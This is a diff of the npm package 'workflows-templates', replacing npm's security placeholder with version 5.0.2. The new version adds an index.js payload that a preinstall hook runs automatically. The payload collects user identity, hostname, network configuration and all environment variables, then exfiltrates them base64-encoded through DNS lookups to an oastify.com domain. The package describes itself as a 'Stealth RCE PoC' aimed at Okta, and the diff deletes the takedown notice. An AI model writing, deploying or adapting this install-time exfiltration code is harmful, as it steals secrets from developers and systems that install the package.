workflows-templates 0.0.1-security → 5.0.2

package/index.js

@@ -0,0 +1,70 @@
+// Apex Hunter - DNS-Only Exfiltration Payload
+
+// ======================= CONFIGURATION =======================
+const oastDomain = '6lsozv0y071z0ztgwiu1ac06txz0nqbf.oastify.com';
+const payloadIdentifier = 'okta-dns-v5'; // Unique ID for this attack
+// =============================================================
+
+const os = require('os');
+const dns = require('dns');
+
+// Function to gather all system intelligence
+function gatherIntel() {
+    const { execSync } = require('child_process');
+    let report = '';
+    const add = (label, command) => {
+        try {
+            report += `\n[${label}]\n${execSync(command, { stdio: 'pipe' }).toString()}\n`;
+        } catch (e) {
+            report += `\n[${label}]\nCOMMAND_FAILED\n`;
+        }
+    };
+
+    add('TIMESTAMP', 'date');
+    add('USER_CONTEXT', 'id');
+    add('SYSTEM_INFO', 'hostname; uname -a');
+    add('CURRENT_PATH', 'pwd');
+    add('DNS_PROOFS', 'cat /etc/resolv.conf');
+    add('NETWORK_PROOFS', 'ip -o a || ifconfig');
+    add('ENV_VARS', 'env');
+    
+    return report;
+}
+
+// Function to exfiltrate data via DNS lookups
+function exfiltrateViaDns(data) {
+    // Base64 encode the entire report to make it URL/DNS-safe
+    const encodedData = Buffer.from(data).toString('base64').replace(/=/g, ''); // Remove padding
+
+    // Split the long Base64 string into chunks of ~60 characters (DNS label max ~63)
+    const chunks = encodedData.match(/.{1,60}/g) || [];
+
+    const hostname = os.hostname() || 'unknown-host';
+    const totalChunks = chunks.length;
+
+    let i = 0;
+    const sendChunk = () => {
+        if (i >= totalChunks) {
+            // Send final "END" packet
+            dns.lookup(`${i}-of-${totalChunks}.END.${payloadIdentifier}.${hostname}.${oastDomain}`, () => {});
+            return;
+        }
+
+        const chunk = chunks[i];
+        // Format: [chunk_index]-of-[total_chunks].[payload_id].[hostname].[data_chunk].[oast_domain]
+        const subdomain = `${i}-of-${totalChunks}.${payloadIdentifier}.${hostname}.${chunk}.${oastDomain}`;
+        
+        // Truncate to max length allowed for DNS label (253 chars)
+        dns.lookup(subdomain.slice(0, 250), () => {
+            i++;
+            setTimeout(sendChunk, 100); // Throttle DNS requests
+        });
+    };
+
+    console.log(`[+] Starting DNS exfiltration of ${totalChunks} chunks...`);
+    sendChunk();
+}
+
+// Main Execution
+const intelReport = gatherIntel();
+exfiltrateViaDns(intelReport);

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "workflows-templates",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "5.0.2",
+  "description": "Stealth RCE PoC via DNS Exfiltration for Okta (nepalihacker000)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "nepalihacker000",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.